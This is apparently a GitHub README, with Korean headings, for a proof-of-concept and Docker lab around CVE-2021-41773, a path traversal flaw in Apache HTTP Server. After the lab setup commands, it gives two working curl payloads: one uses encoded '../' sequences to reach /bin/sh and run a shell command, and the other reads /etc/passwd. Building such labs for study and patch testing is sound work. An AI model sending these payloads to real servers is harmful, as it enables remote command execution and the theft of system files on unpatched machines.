0xc4t/cve-2021-41773CVE-2021-41773를 위한 PoC 및 Lab
CVE-2021-41773을 위한 POC & Lab
실습 환경 설정
$ git clone https://github.com/0xc4t/CVE-2021-41773
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773
PoC
# RCE
curl 'http://localhost:81/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; whoami'
#LFI
curl http://192.168.56.108:81/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
참고